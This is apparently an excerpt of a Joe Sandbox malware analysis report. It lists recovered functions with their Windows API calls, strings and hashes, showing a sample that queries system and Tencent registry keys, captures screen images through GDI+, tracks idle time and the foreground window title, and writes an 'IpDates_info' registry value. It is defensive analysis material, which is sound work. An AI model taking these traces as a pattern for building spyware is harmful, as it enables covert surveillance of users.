Instruction Fuzzy Hash: 4241A1F1A40668AEDB24DB54CC55FEEB7B8AB88704F0442C9F309A7186D6749B81CF64

Function 03777490 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 99
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(ntdll.dll,75BF73E0,?,?,?,03775611,0000035E,000002FA), ref: 0377749C
GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 037774B2
swprintf.LIBCMT ref: 037774EF

Part of subcall function 03777410: GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,03777523), ref: 0377743D
Part of subcall function 03777410: GetProcAddress.KERNEL32(00000000), ref: 03777444
Part of subcall function 03777410: GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03777523), ref: 03777452

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020019,000002FA), ref: 03777547
RegQueryValueExW.KERNEL32(000002FA,ProductName,00000000,00000001,00000000,?), ref: 03777563
RegCloseKey.KERNEL32(000002FA), ref: 03777586
FreeLibrary.KERNEL32(00000000,?,?,?,03775611,0000035E,000002FA), ref: 03777598

Strings

RtlGetNtVersionNumbers, xrefs: 037774AC
%d.%d.%d, xrefs: 037774E7
ntdll.dll, xrefs: 03777497
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0377753D
ProductName, xrefs: 0377755D

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: AddressLibraryProc$CloseFreeHandleInfoLoadModuleNativeOpenQuerySystemValueswprintf
String ID: %d.%d.%d$ProductName$RtlGetNtVersionNumbers$SOFTWARE\Microsoft\Windows NT\CurrentVersion$ntdll.dll
API String ID: 2158625971-3190923360
Opcode ID: 8cf36512839cd01f0dcef8deb1bea09f4621f6e43b924f96e24ccda8cba9e670
Instruction ID: 547f32ca5abd7d5bbe8924fcb723ddc18e6f214eaa0effda0bbbf92dd46c7da3
Opcode Fuzzy Hash: 8cf36512839cd01f0dcef8deb1bea09f4621f6e43b924f96e24ccda8cba9e670
Instruction Fuzzy Hash: 3031B3B5A40308BBEF18EBA4DD45EBF7B7DDB48640F14461AFA05A6146E674DA00C7A0

Function 0377C060 Relevance: 19.7, APIs: 13, Instructions: 179
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000002,?,A0516FA3,?,00000000,?), ref: 0377C09E
GlobalLock.KERNEL32(00000000), ref: 0377C0AA
GlobalUnlock.KERNEL32(00000000), ref: 0377C0BF
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0377C0D5
EnterCriticalSection.KERNEL32(0379FB64), ref: 0377C113
LeaveCriticalSection.KERNEL32(0379FB64), ref: 0377C124

Part of subcall function 03779DE0: GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 03779E04
Part of subcall function 03779DE0: GdipDisposeImage.GDIPLUS(?), ref: 03779E18

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0377C14C

Part of subcall function 0377A460: GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0377A48D
Part of subcall function 0377A460: _free.LIBCMT ref: 0377A503

GetHGlobalFromStream.OLE32(?,?), ref: 0377C16D
GlobalLock.KERNEL32(?), ref: 0377C177
GlobalFree.KERNEL32(00000000), ref: 0377C18F

Part of subcall function 03779BA0: DeleteObject.GDI32(?), ref: 03779BD2
Part of subcall function 03779BA0: EnterCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779BE3
Part of subcall function 03779BA0: EnterCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779BF8
Part of subcall function 03779BA0: GdiplusShutdown.GDIPLUS(00000000,?,?,?,03779B7B), ref: 03779C04
Part of subcall function 03779BA0: LeaveCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779C15
Part of subcall function 03779BA0: LeaveCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779C1C

GlobalSize.KERNEL32(00000000), ref: 0377C1A5
GlobalUnlock.KERNEL32(?), ref: 0377C221
GlobalFree.KERNEL32(00000000), ref: 0377C249

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Global$CriticalSection$Stream$CreateEnterGdipLeave$FreeFromImageLockSizeUnlock$AllocBitmapDeleteDisposeEncodersGdiplusObjectShutdown_free
String ID:
API String ID: 1483550337-0
Opcode ID: e333a28fe7bd0500b68eb568d3bf82cb031ba832698464be7ee179008a8af412
Instruction ID: d368b340142e0c5ef68f7241a405f712ee075b62f9fc1bd6775d60bb24d92fd2
Opcode Fuzzy Hash: e333a28fe7bd0500b68eb568d3bf82cb031ba832698464be7ee179008a8af412
Instruction Fuzzy Hash: AB614BB5D0021DEFDF10EFA8D88899EBBB8FF49710F10862AE515AB201DB349906CF50

Function 03776490 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 144
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 037764C2
RegOpenKeyExW.KERNEL32(80000001,Software\Tencent\Plugin\VAS,00000000,000F003F,?), ref: 037764E2
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 03776524
_memset.LIBCMT ref: 03776560
_memset.LIBCMT ref: 0377658E
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00000000,00000AD4,75BF73E0), ref: 037765BA
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,75BF73E0), ref: 037765C3
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,75BF73E0), ref: 037765D5
RegCloseKey.ADVAPI32(?,00000000,00000AD4,75BF73E0), ref: 03776625
lstrlenW.KERNEL32(?), ref: 03776635

Strings

Software\Tencent\Plugin\VAS, xrefs: 037764D8

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: _memsetlstrlen$CloseEnumInfoOpenQuery
String ID: Software\Tencent\Plugin\VAS
API String ID: 2921034913-3343197220
Opcode ID: df5926fe2735e04975fa89453bb97df957786e52e1df3aa2fba6b5902b2fd1e5
Instruction ID: 646747d270d9d4e3e28da14f7a28ba035ee289f0e0975c3f1606fe7649216a83
Opcode Fuzzy Hash: df5926fe2735e04975fa89453bb97df957786e52e1df3aa2fba6b5902b2fd1e5
Instruction Fuzzy Hash: 414197F5A4021CBBDB34EB54CD85FEAB37DDB48700F404599E709B7085EA70AA858FA4

Function 0377A460 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150windowCOMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0377A48D
_malloc.LIBCMT ref: 0377A4D1
_free.LIBCMT ref: 0377A503
GdipGetImageEncoders.GDIPLUS(?,?,00000008), ref: 0377A522
GdipSaveImageToStream.GDIPLUS(00000000,?,?,00000000), ref: 0377A594
GdipDisposeImage.GDIPLUS(00000000), ref: 0377A59F
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 0377A5C5
GdipDisposeImage.GDIPLUS(00000000), ref: 0377A5DD

Strings

&, xrefs: 0377A579

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Gdip$Image$DisposeEncoders$BitmapCreateFromSaveSizeStream_free_malloc
String ID: &
API String ID: 2794124522-3042966939
Opcode ID: 78df209799f19235550f4dd0adf8cc7148d4f6e0b6214ba97010de9f5fbc53c8
Instruction ID: 6806dcc5639044ec920cb9fcd8b1d4775be5ff4c3db0e1745a74ed0e61ee4c7f
Opcode Fuzzy Hash: 78df209799f19235550f4dd0adf8cc7148d4f6e0b6214ba97010de9f5fbc53c8
Instruction Fuzzy Hash: 25515775D01219AFEF54EFA4D848EEEB7B8AF4C740F048559E905AB350D734A905CBE0

Function 02C652B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 02C65382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 02C65392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,02C7C6E0,000012A0), ref: 02C653B0
RegCloseKey.KERNEL32(?), ref: 02C653BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 02C6540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 02C6541B
Sleep.KERNEL32(00000BB8), ref: 02C65434

Strings

SOFTWARE, xrefs: 02C65378
IpDates_info, xrefs: 02C6538C, 02C653AA

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: 0820d44fcda2aaa58cf1ed925fbc5d0f297524f15e20a068f76598328ef08b15
Instruction ID: 42e4a8aa6bbd6c4d29836d951defa82327ee23ab81bb9f9b0f2d22bdc8c34290
Opcode Fuzzy Hash: 0820d44fcda2aaa58cf1ed925fbc5d0f297524f15e20a068f76598328ef08b15
Instruction Fuzzy Hash: 53413B31A842859FD3108F3488CDF7A7BA5EF85B84FFC0569E589D6142D7B0DA0AC791

Function 02C652D9 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 84registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 02C65382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 02C65392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,02C7C6E0,000012A0), ref: 02C653B0
RegCloseKey.KERNEL32(?), ref: 02C653BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 02C6540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 02C6541B
Sleep.KERNEL32(00000BB8), ref: 02C65434

Strings

SOFTWARE, xrefs: 02C65378
IpDates_info, xrefs: 02C6538C, 02C653AA

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: a6b56000a86b1d748d02cd9650c00aabe69d6cc57e68e612fda96ea90b50eeef
Instruction ID: 63d6e3dbb1725607adb4fc3297d85b3f4b4e77b697ef4c6e6ae3a821c47dfca8
Opcode Fuzzy Hash: a6b56000a86b1d748d02cd9650c00aabe69d6cc57e68e612fda96ea90b50eeef
Instruction Fuzzy Hash: 0C31B9306843859FD711CF30889DF797BA5AF85784FEC0969E6899A142C7B0DA0AC791

Function 0377CA70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,000F003F,037912F8,A0516FA3,00000001,00000000,00000000), ref: 0377CAB1
RegQueryInfoKeyW.ADVAPI32(037912F8,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 0377CAE0
_memset.LIBCMT ref: 0377CB44
_memset.LIBCMT ref: 0377CB53
RegEnumValueW.KERNEL32(037912F8,?,00000000,?,00000000,?,00000000,?), ref: 0377CB72

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

Part of subcall function 0377F707: std::exception::exception.LIBCMT ref: 0377F756
Part of subcall function 0377F707: std::exception::exception.LIBCMT ref: 0377F770
Part of subcall function 0377F707: __CxxThrowException@8.LIBCMT ref: 0377F781

RegCloseKey.KERNEL32(037912F8,?,?,?,?,?,?,?,?,?,?,?,00000000,037912F8,000000FF), ref: 0377CC83

Strings

Console\0, xrefs: 0377CAA4

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: _memsetstd::exception::exception$CloseEnumException@8InfoOpenQueryThrowValue_malloc
String ID: Console\0
API String ID: 1348767993-1253790388
Opcode ID: e6025bb7ac37f77b8121e8a3c46262e1edab58d1dd10f3b38b6b37a65ab11ce0
Instruction ID: 0810fc811445810694545fcc4d6042d1687a36b6cb98c92983e593a8671dda0e
Opcode Fuzzy Hash: e6025bb7ac37f77b8121e8a3c46262e1edab58d1dd10f3b38b6b37a65ab11ce0
Instruction Fuzzy Hash: CF612EB5E00219AFDB04DFA8D884EAEB7B8FF49310F14466AE915EB345D7349901CBA0

Function 0377BB00 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

_memset.LIBCMT ref: 0377BB21
GetLastInputInfo.USER32(?), ref: 0377BB37
GetTickCount.KERNEL32 ref: 0377BB3D
wsprintfW.USER32 ref: 0377BB66
GetForegroundWindow.USER32 ref: 0377BB6F
GetWindowTextW.USER32(00000000,00000020,000000FA), ref: 0377BB83

Strings

%d min, xrefs: 0377BB60

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Window$CountForegroundInfoInputLastTextTick_malloc_memsetwsprintf
String ID: %d min
API String ID: 3754759880-1947832151
Opcode ID: 693f91f3f3e68995d6d359d6875637f2a7959a22ea6e320dfec4591fd994c164
Instruction ID: 7faf6a79acc2a6a0ad478ddafed1b9760a376ee19dafcc01b5ae9dfe6d9efbcd
Opcode Fuzzy Hash: 693f91f3f3e68995d6d359d6875637f2a7959a22ea6e320dfec4591fd994c164
Instruction Fuzzy Hash: 9941A4B5900218AFCB10EFA4D889EAFBBB8EF48700F18C555E9099B345D6749A04CBE1

Function 03776910 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(A0516FA3,00000000,00000000,75BF73E0,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 03776938
OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 03776947
OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 03776960
CloseHandle.KERNEL32(00000000,?,00000000,037910DB,000000FF,?,03776AB3,00000000), ref: 0377696B
SysStringLen.OLEAUT32(00000000), ref: 037769BE
SysStringLen.OLEAUT32(00000000), ref: 037769CC
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,037910DB,000000FF), ref: 03776A2E
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,037910DB,000000FF), ref: 03776A34

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseHandleProcess$OpenString$CurrentToken
String ID:
API String ID: 429299433-0
Opcode ID: f5f2186789657871f047252c4bca321e185e432086efe46a29c7fc163e8be425
Instruction ID: 6d43e1416500c2088c2592cf5952704e263cdf92fa992d3aa9c2210dd331253d
Opcode Fuzzy Hash: f5f2186789657871f047252c4bca321e185e432086efe46a29c7fc163e8be425
Instruction Fuzzy Hash: 7C41D6B2E40618AFCF10EFA8CC84AAEF7B8FB44710F15462AD915F7245D7755901CBA0

Function 03776D70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03776DD9
RegOpenKeyExW.KERNEL32(80000001,03795164,00000000,00020019,75BF73E0), ref: 03776DFC
RegQueryValueExW.KERNEL32(75BF73E0,GROUP,00000000,00000001,?,00000208), ref: 03776E4A
lstrcmpW.KERNEL32(?,03795148), ref: 03776E60
lstrcpyW.KERNEL32(037756EA,?), ref: 03776E72

Strings

GROUP, xrefs: 03776E42

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: OpenQueryValue_memsetlstrcmplstrcpy
String ID: GROUP
API String ID: 2102619503-2593425013
Opcode ID: 4ccad3bd3b9e6858921c5facdf35f66ae95dee605e4013ec76621d6e6b912cda
Instruction ID: 65432b5d98424d1a279ce95e7bb93f936c64c339c3ca769bfd537d13fd981dd1
Opcode Fuzzy Hash: 4ccad3bd3b9e6858921c5facdf35f66ae95dee605e4013ec76621d6e6b912cda
Instruction Fuzzy Hash: 02316571940319BBDB20DF94DD89B9EB7B8FB08710F104699E519A6180DBB8AA84CF60

Function 0377FA29 Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0377FA4E
__calloc_crt.LIBCMT ref: 0377FA5A
__getptd.LIBCMT ref: 0377FA67
CreateThread.KERNEL32(00000000,00000000,0377F9C4,00000000,00000000,0377E003), ref: 0377FA9E
GetLastError.KERNEL32(?,00000000,?,?,0377E003,00000000,00000000,03775F40,00000000,00000000,00000000), ref: 0377FAA8
_free.LIBCMT ref: 0377FAB1
__dosmaperr.LIBCMT ref: 0377FABC

Part of subcall function 0377F91B: __getptd_noexit.LIBCMT ref: 0377F91B

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: fbb4e505ea1dab4665160bfc22d89a209f8b7aa0e2f5dd010a61773465854152
Instruction ID: 99e16866ce299e07a3438e494619ac8f8170151bb59549858a55864e6aff2ab2
Opcode Fuzzy Hash: fbb4e505ea1dab4665160bfc22d89a209f8b7aa0e2f5dd010a61773465854152
Instruction Fuzzy Hash: 4A11E53A24470ABFDF11FFA9ED84D9B37D9DF06A707154426F914CA180DB70D4018B61

Function 02C6721B Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 02C67240
__calloc_crt.LIBCMT ref: 02C6724C
__getptd.LIBCMT ref: 02C67259
CreateThread.KERNEL32(?,?,02C671B6,00000000,?,?), ref: 02C67290
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 02C6729A
_free.LIBCMT ref: 02C672A3
__dosmaperr.LIBCMT ref: 02C672AE

Part of subcall function 02C6710D: __getptd_noexit.LIBCMT ref: 02C6710D

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 7724792d044695751e09ccbd91a41214441ac5eade4c6949e1464356adaf2ad1
Instruction ID: 04efbba2988ba3866a48565bf924569cf8e94f4cff7ed0decc6393751fdaf300
Opcode Fuzzy Hash: 7724792d044695751e09ccbd91a41214441ac5eade4c6949e1464356adaf2ad1
Instruction Fuzzy Hash: 52110832100306AFDB11AFA5DCCCEBBB7D9EF4577CB10082AF91886140DB31C5199EA0

Function 03777410 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,03777523), ref: 0377743D
GetProcAddress.KERNEL32(00000000), ref: 03777444
GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03777523), ref: 03777452
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03777523), ref: 0377745A

Strings

kernel32.dll, xrefs: 0377741D
GetNativeSystemInfo, xrefs: 03777418

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3433367815-192647395
Opcode ID: 7d61b1d63dd8d688d2b2a5c8f9c71ee480e5bcb7d7ae6528d9e4446dbd33615f
Instruction ID: 0e3779339cf90f0c37dc0ed91646a905ad53c04dda72a05b567e37eea85417ed
Opcode Fuzzy Hash: 7d61b1d63dd8d688d2b2a5c8f9c71ee480e5bcb7d7ae6528d9e4446dbd33615f
Instruction Fuzzy Hash: AE014FB0D0020DAFCF54EFB499446BEBBF5EB08200F5446AAD959E3241E6398A10CFA1

Function 0377F9C4 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0377F9CA

Part of subcall function 03783CA0: TlsGetValue.KERNEL32(00000000,03783DF9,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000), ref: 03783CA9
Part of subcall function 03783CA0: DecodePointer.KERNEL32(?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000,?,03783F06,0000000D), ref: 03783CBB
Part of subcall function 03783CA0: TlsSetValue.KERNEL32(00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000,?,03783F06), ref: 03783CCA

___fls_getvalue@4.LIBCMT ref: 0377F9D5

Part of subcall function 03783C80: TlsGetValue.KERNEL32(?,?,0377F9DA,00000000), ref: 03783C8E

___fls_setvalue@8.LIBCMT ref: 0377F9E8

Part of subcall function 03783CD4: DecodePointer.KERNEL32(?,?,?,0377F9ED,00000000,?,00000000), ref: 03783CE5

GetLastError.KERNEL32(00000000,?,00000000), ref: 0377F9F1
ExitThread.KERNEL32 ref: 0377F9F8
GetCurrentThreadId.KERNEL32 ref: 0377F9FE
__freefls@4.LIBCMT ref: 0377FA1E

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: 16d3308d3abf38425035f9e9eabc75d9d56e2e1cb95fa80e71b3a064d78efbd7
Instruction ID: 08d718d23167602a97818726a1a1893d4a424eeb75263a1e5f4b923838374590
Opcode Fuzzy Hash: 16d3308d3abf38425035f9e9eabc75d9d56e2e1cb95fa80e71b3a064d78efbd7
Instruction Fuzzy Hash: 63F0307C640344BBDB08FF75CA4C80E7BEDAF896457258958E9098F252EA34D846CBA1

Function 02C671B6 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 02C671BC

Part of subcall function 02C69754: TlsGetValue.KERNEL32(00000000,02C698AD,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000), ref: 02C6975D
Part of subcall function 02C69754: DecodePointer.KERNEL32(?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000,?,02C699BA,0000000D), ref: 02C6976F
Part of subcall function 02C69754: TlsSetValue.KERNEL32(00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000,?,02C699BA), ref: 02C6977E

___fls_getvalue@4.LIBCMT ref: 02C671C7

Part of subcall function 02C69734: TlsGetValue.KERNEL32(?,?,02C671CC,00000000), ref: 02C69742

___fls_setvalue@8.LIBCMT ref: 02C671DA

Part of subcall function 02C69788: DecodePointer.KERNEL32(?,?,?,02C671DF,00000000,?,00000000), ref: 02C69799

GetLastError.KERNEL32(00000000,?,00000000), ref: 02C671E3
ExitThread.KERNEL32 ref: 02C671EA
GetCurrentThreadId.KERNEL32 ref: 02C671F0
__freefls@4.LIBCMT ref: 02C67210

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: 04cee7f23c2e6b5c55e0e74a01a11b299bfa468755313ba5c61f5ce3aff9ff0b
Instruction ID: 7a70c099898340160f26cf85437deef104ca173928c23ae8a151131585a7aa76
Opcode Fuzzy Hash: 04cee7f23c2e6b5c55e0e74a01a11b299bfa468755313ba5c61f5ce3aff9ff0b
